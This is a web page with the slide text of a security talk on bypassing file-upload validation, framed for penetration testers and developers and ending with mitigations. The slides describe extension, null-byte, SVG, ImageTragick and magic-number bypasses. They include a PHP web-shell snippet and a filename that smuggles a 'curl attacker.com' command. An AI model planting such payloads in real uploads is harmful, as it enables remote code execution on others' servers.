Scale your database traffic with Read & Write split using MySQL RouterScale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterMydbops
 
Time Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsTime Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsNathaniel Shimoni
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity PlanDatabarracks
 
Connecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfConnecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfNeo4j
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxLoriGlavin3
 
Data governance with Unity Catalog Presentation
Data governance with Unity Catalog PresentationData governance with Unity Catalog Presentation
Data governance with Unity Catalog PresentationKnoldus Inc.
 

Recently uploaded (20)

A Framework for Development in the AI Age
A Framework for Development in the AI AgeA Framework for Development in the AI Age
A Framework for Development in the AI Age
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024
 
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
 
Manual 508 Accessibility Compliance Audit
Manual 508 Accessibility Compliance AuditManual 508 Accessibility Compliance Audit
Manual 508 Accessibility Compliance Audit
 
Sample pptx for embedding into website for demo
Sample pptx for embedding into website for demoSample pptx for embedding into website for demo
Sample pptx for embedding into website for demo
 
Assure Ecommerce and Retail Operations Uptime with ThousandEyes
Assure Ecommerce and Retail Operations Uptime with ThousandEyesAssure Ecommerce and Retail Operations Uptime with ThousandEyes
Assure Ecommerce and Retail Operations Uptime with ThousandEyes
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdf
 
What is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfWhat is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdf
 
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentEmixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
 
Modern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better StrongerModern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
 
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfSo einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
 
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test Suite
 
Generative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersGenerative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information Developers
 
Scale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterScale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL Router
 
Time Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsTime Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directions
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity Plan
 
Connecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfConnecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdf
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
 
Data governance with Unity Catalog Presentation
Data governance with Unity Catalog PresentationData governance with Unity Catalog Presentation
Data governance with Unity Catalog Presentation
 

"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy

  • 1.
  • 2. Ebrahim Hegazy 15 Technique to Exploit File Upload Pages Senior Consultant @ Deloitte
  • 4. About me Top Yahoo Security Researcher
  • 5. Agenda • Target of the session • How file upload pages works? • Bypassing Developers validation of: – Filename only (Whitelist) – Filename only (Blacklist) – File Type only – File Contents only – Filename and File-type – File type and File-contents – Filename, File-type and File content – Exploiting Server Side Libraries – Forcing the files to be downloadable not executable – Exploitation of other common developers mistakes • Conclusion
  • 6. Target of the Session The main target of this session is: • Gathering all techniques in one place to aid penetration testers and bug hunters during their assessments. • Helping developers understand how hackers bypass their validations in order to better protect their Apps.
  • 8. File upload pages and its main headers For every file upload page, there are some headers that always exist. Lets name it main headers. The main headers are: • File Name • File Type • Magic Number • File Content • File Size
  • 9. Bypassing Developers Validation Scenarios: In the coming slides, we will go through different scenarios of how developers validates the uploaded files and how Pentesters can bypass it.
  • 10.
  • 11. Scenario 1 (BlackList) Blacklisting Dangerous files? The developer validates that the uploaded file doesn‟t have or contain .php, PHP, or php5 etc via black-listing technique. Bypass: Above Regex is vulnerable as it doesn‟t check the case insensitivity of file extension. Mitigation: ^.*.(php|php1|php2|php3|php4|php5|php6|php7|phtml|exe)$/i
  • 12. Scenario 2 (Apache-Linux) Properly Blacklisting .php files The developer properly validate that the uploaded file doesn‟t have or contain .php, PHP, or php5 etc via black-listing technique. How to bypass: We can bypass this validation using the .pht files. The PHT file stores HTML page that includes a PHP script.
  • 13. Scenario 2 (IIS-Windows) On windows servers, if the same validation is done for asp pages, we can bypass it using .cer & .asa extensions. IIS <= 7.5 have Both *.asp and *.cer mapped to asp.dll, thus executing ASP code.
  • 14. Scenario 3 (BlackList) Bypassing all executabel extensions? In this scenario the developer is black-listing all dangerous extensions that would allow code execution. But how about using .eml to trigger a Stored XSS? Source: https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/
  • 15.
  • 16. Scenario 4 Validating Filename only (Whitelist): In this scenario, the developer is validating the filename ONLY by Whitelisting .jpg via server-side code, using below Regex
  • 17. Scenario 4 Validating Filename only (Whitelist): The regex is NOT properly implemented. It validates that the filename contains .jpg but doesn‟t validate that the filename ends with .jpg Moreover on While-listing: ^.*(jpg|gif|png)$i Regex doesn‟t contain Dot, means it only makes sure that file ends with allowed filenames: File.php.jkha11111jpg
  • 18. Scenario 5 Null Byte Injection The null character is a control character with the value zero. PHP treats the Null Bytes %00 as a terminator (same as C does). Thus, renaming your file to be shell.php%001.jpg or shell.phpx00.jpg shall satisfy the file upload page because the file ends with .jpg, but the file will be treated as .php due to termination of whatever after the Null Byte. Note: renaming the file to shell.phpD.jpg, upload it and then replace the hex represntaion of D with 00 will also work.
  • 19. Scenario 6 If the application allows upload of .svg images SVG images are just XML data. Using XML you can achieve lots of vulnerabilities, for instance a Stored XSS as below.
  • 20. Scenario 7 Allowing video uploads? Due to a SSRF vulnerability in ffmpeg library, it is possible to create a video file that when uploaded to any application that supports video files (i.e Youtube, vk, Flicker etc) you will be able to read files from that server when you try to watch the video! Command: ffmpeg -i video.avi{m3u} video.mp4 - https://github.com/neex/ffmpeg-avi-m3u-xbin/
  • 21. Scenario 8 Directory Traversal You can upload your file with the name of “../../../logo.jpg” for example to replace the main website logo. This issue happens due to lack of validating the filename.
  • 22. Scenario 9 Validating the file content and missing the file-name. Developer is passing the uploaded file to PHP-GD library to make sure that the uploaded file is an image and doesn‟t contain meta-data, however, not validating the uploaded file name. How to bypass: • We get a normal image, convert it using the php-gd library • Now we have 2 files, we convert it to hex and start searching for identical bytes • When finding the identical bytes, we replace those bytes with out backdoor code (i.e. <?system($GET[„x‟]);?>)
  • 23. Scenario 9 POC Validating the file content and missing the file-name. Developer is passing the uploaded file to PHP-GD library to make sure that the uploaded file is an image and doesn‟t contain meta-data, however, not validating the uploaded file name. https://secgeek.net/bookfresh-vulnerability/
  • 24. Scenario 10 Image Tragic Attack SVG images are just XML data. Using XML you can achieve lots of vulnerabilities, for instance ImageMagic which is an image processing library vulnerable to SSRF and RCE vulnerabilities. Source (Facebook RCE): http://4lemon.ru/2017-01-17_facebook_imagetragick_remote_code_execution.html
  • 25. Scenario 11 Exploiting old IIS servers IIS in its earlier versions < 7.0 had an issue handling the uploaded files. An attacker can bypass the file upload pages using filename as: shell.aspx;1.jpg
  • 26. Scenario 12 DOS Attack Web applications that doesn‟t validate the file-size of the uploaded files are vulnerable to DOS attack as an attacker can upload many large files which will exhaust the server hosting space.
  • 27. Scenario 13 Magic Numbers Developers validates the file-contents starts with Magic Numbers and the file-content is set to image/gif. Exploit: Uploading shell.php but setting the content type to image/gif and starting the file contants with GIF89a; will do the job! RCE via zip files Developers accepts zip file, but handle filenames via command line. Exploit: Filename;curl attacker.com;pwd.jpg
  • 28. Scenario 14 OOB SQL Injection via filename: If the developers are trusting the filenames and pass it directly to the Database, this will allow attackers to execute Out of Band SQL Injection. A good scenario would be companies asking you to submit your CV without validating the CV name.
  • 29. Scenario 15 Cross Domain Content Hijacking When developers are validating the uploaded filename, content-type but missing to validate the uploaded file content. It is possible to upload a Flash file with .jpg extension, then call that flash file with <object tags in your website and Bingo, you are able to do Cross Origin Requests to steal CSRF tokens. How browsers see it? 1. Plugins like Flash doesn't care about the extension or content-type 2. If the file is embeded using <object> tag, it will be executed as a Flash file as long as the file content looks like Flash. https://github.com/nccgroup/CrossSiteContentHijacking
  • 30. Conclusion Suggested techniques of better handling the file-upload pages • Always use a sandbox domain to store uploaded files • Use CDN servers as it only allows cacheable resources and disable executable files such as php • Rename the uploaded files to some random filenames, remove the file extension and then append your allowed file extension. • Mark all files as downloadable not executable (Content-Deposition) • Validate the file-size.
  • 31. Stay in Touch! Twitter: Zigoo0 Email: Ehegazy@deloitte.nl Site: www.Sec-Down.com Деякі випадкові слова, щоб інші думали, що я володію українською мовою! Ale ya ne volodiyu :D